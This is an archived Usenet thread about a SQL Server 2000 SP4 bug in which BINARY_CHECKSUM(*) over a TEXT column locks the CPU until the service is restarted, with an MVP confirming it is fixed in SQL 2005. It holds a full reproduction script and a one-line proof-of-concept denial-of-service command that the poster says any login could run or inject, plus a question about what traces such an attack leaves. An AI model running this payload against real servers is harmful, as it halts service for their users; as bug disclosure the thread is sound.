Re: Denial of Service: BINARY_CHECKSUM of TEXT column hangs CPU: SQL 2K SP4

Thanks for the response.

I had this sitting out in the microsoft.public.sqlserver.server for two days
with no response.

This is the classic type of malicious stuff that an unmotivated employee
could run surreptitously against a server to stop work for the day and make
everyone go home. Even if you kill the connection, the underlying query just
hangs hold of the CPU until the server is restarted.

If run from a TCP/IP sockets scenario, can you think of any fingerprints
left behind from this attack after the user reboots her PC that the attack
was run from?

I'm assuming that you verified that the query hangs the CPU on your SQL 2K
setup.

Chuck


"Jasper Smith" <jasper_smith9@xxxxxxxxxxx> wrote in message
news:OYtswcqIGHA.1728@xxxxxxxxxxxxxxxxxxxxxxx
> I've passed the details on and it does look like they're aware of it as
> its fixed in SQL2005 (you get an error saying there are no comparable
> columns) but I couldn't find any KB that referenced it and it's not fixed
> in SQL2000 8.00.2026. I'll let you know what I find out.
>
> --
> HTH,
> Jasper Smith (SQL Server MVP)
> http://www.sqldbatips.com
>
>
> "Chuck Hawkins" <charles.hawkins@xxxxxxxxxxxxxxxxxx> wrote in message
> news:%23u1cU1oIGHA.676@xxxxxxxxxxxxxxxxxxxxxxx
>> Stripping the problem down as proof of concept, here is a one-liner that
>> makes use of the DOS attack:
>>
>> EXEC('CREATE TABLE #T(Y text);INSERT INTO #T VALUES('''');SELECT
>> BINARY_CHECKSUM(*)from(SELECT Y FROM #T)B;'
>>
>> I don't know of any login that, once validated as a login to a server,
>> couldn't run this command. Additionally, it could be used in a SQL
>> injection.
>>
>> Thanks,
>>
>> Chuck
>>
>>
>>
>> "Chuck Hawkins" <charles.hawkins@xxxxxxxxxxxxxxxxxx> wrote in message
>> news:uvjDvFoIGHA.3036@xxxxxxxxxxxxxxxxxxxxxxx
>>>I was comparing two tables using a BINARY_CHECKSUM(*) function across the
>>> rows when I ran into a problem. When one of my tables happened to have a
>>> TEXT column in it, the query calculating the BINARY_CHECKSUM(*) pegged
>>> the
>>> CPU at 100% and wouldn't let go, even when I killed Query Analyzer.
>>> Since it
>>> was a dual proc server, it was only 50% CPU utilization overall. If I
>>> ran
>>> the query twice in separate QA sessions, it pegged the whole server at
>>> 100%
>>> CPU and I couldn't make any more SQL Server connections for that
>>> instance.
>>> As a test, I let this go on overnight with no end in site for the CPU
>>> utilization. In order to regain control of the instance, I had to kill
>>> the
>>> SQLSERVR.EXE process in Task Manager on the server.
>>>
>>> This is in SQL 2000 SP4 on a dual processor Intel server on top of
>>> Windows
>>> 2000 SP4.
>>>
>>> I did a Google search and couldn't come up with any problems regarding a
>>> TEXT column and the BINARY_CHECKSUM function. BOL says, regarding
>>> BINARY_CHECKSUM:
>>> "Noncomparable data types are text, ntext, image, and cursor, as well as
>>> sql_variant with any of the above types as its base type." It doesn't
>>> say,
>>> however, that it will take your CPU to 100% utilization and not let go.
>>>
>>> Here is a sample scenario and query that duplicates my issue. Run it
>>> first
>>> with the XSL column commented out and then run it after un-commenting
>>> the
>>> XSL column to cause the problem. Be prepared to kill your SQLSERVR.EXE
>>> process in Task Manager to recover the CPU.
>>>
>>> And, oh by the way, since I did this in TEMPDB (you could do it with a
>>> #temp table), essentially any login that
>>> has any access at all to your SQL Server can lock it up and you will not
>>> know what hit you since TEMPDB will be rebuilt after you kill
>>> SQLSERVR.EXE
>>> and restart it. There were no error log message or event log messages to
>>> give me a clue as to what was happening.
>>>
>>> Chuck
>>>
>>>
>>> USE TEMPDB
>>> GO
>>>
>>> select @@version -- Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
>>>
>>> if exists (select * from dbo.sysobjects where id =
>>> object_id(N'[TESTXSL]')
>>> and OBJECTPROPERTY(id, N'IsUserTable') = 1)
>>> drop table [TESTXSL]
>>> GO
>>>
>>> if not exists (select * from dbo.sysobjects where id =
>>> object_id(N'[dbo].[TESTXSL]') and OBJECTPROPERTY(id, N'IsUserTable') =
>>> 1)
>>> BEGIN
>>> CREATE TABLE [TESTXSL] (
>>> [XSL_ID] [int] NOT NULL ,
>>> [XSL] [text] COLLATE SQL_Latin1_General_CP1_CI_AS NULL
>>> CONSTRAINT [PK_TESTXSL] PRIMARY KEY CLUSTERED
>>> (
>>> [XSL_ID]
>>> )
>>> )
>>> END
>>>
>>> GO
>>>
>>> --
>>> -- TABLE INSERT STATEMENTS
>>> --
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 40, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 50, ' ' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 60, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 70, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 80, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 90, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 100, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 110, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 120, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 140, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 150, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 160, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 170, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 180, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 190, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 200, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 210, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 220, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 230, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 240, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 250, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 260, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 270, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 280, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 290, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 300, '' )
>>> go
>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>> VALUES ( 310, 'sa' )
>>> go
>>>
>>>
>>> SELECT *,BINARY_CHECKSUM(*) AS CHECKCODE from (
>>> SELECT XSL_ID--,XSL
>>> FROM tempdb.dbo.TESTXSL (nolock)
>>> ) B1
>>>
>>>
>>>
>>>
>>>
>>
>>
>
>



.

Relevant Pages

  • Re: Discussing 3 different strategies for deleting from multiple tables
    ... I will be using SQL Server but I am riding on top of a third party ... FYI, Account contains around 20K ... >>> This results in one parameterized query followed by two more trips to ...
    (microsoft.public.data.ado)
  • Re: Efficient coordinated queries??
    ... :-) We are distributing processing over a large server farm -- bringing it back onto the SQL server would probably kill our performance. ... Hitchhiker's Guide to Visual Studio and SQL Server ... A large chunk of it can be brought in with a single query and each row represents an item to process. ... For a hypothetical example consider a customer order database where we need to process through all customers and can bring in a row of customer data as our main query but there are 0..n1 rows of customer order data, 0..n2 rows of customer feedback information, 0..n3 rows of customer discounts available, etc. ...
    (microsoft.public.dotnet.framework.adonet)
  • Re: Strange performance setting Execution Location=3
    ... understanding many aspects of Analysis Server. ... merge time, and query time. ... > a faster CPU, this isn't the only factor at work here. ...
    (microsoft.public.sqlserver.olap)
  • Re: Optimizing this very slow query
    ... executing the query at the server side will use 100% of the server CPU ... Because, by default, the client evaluate the formula, so 100% of the ...
    (microsoft.public.sqlserver.olap)
  • Re: Calculated field in pass through query
    ... Using the same hardware, with a single user, Jet will be faster than MS SQL ... Server simply because Jet does not use log. ... Even within MS SQL Server, ... same query on the same data but on another MSSQL db, ...
    (microsoft.public.access.queries)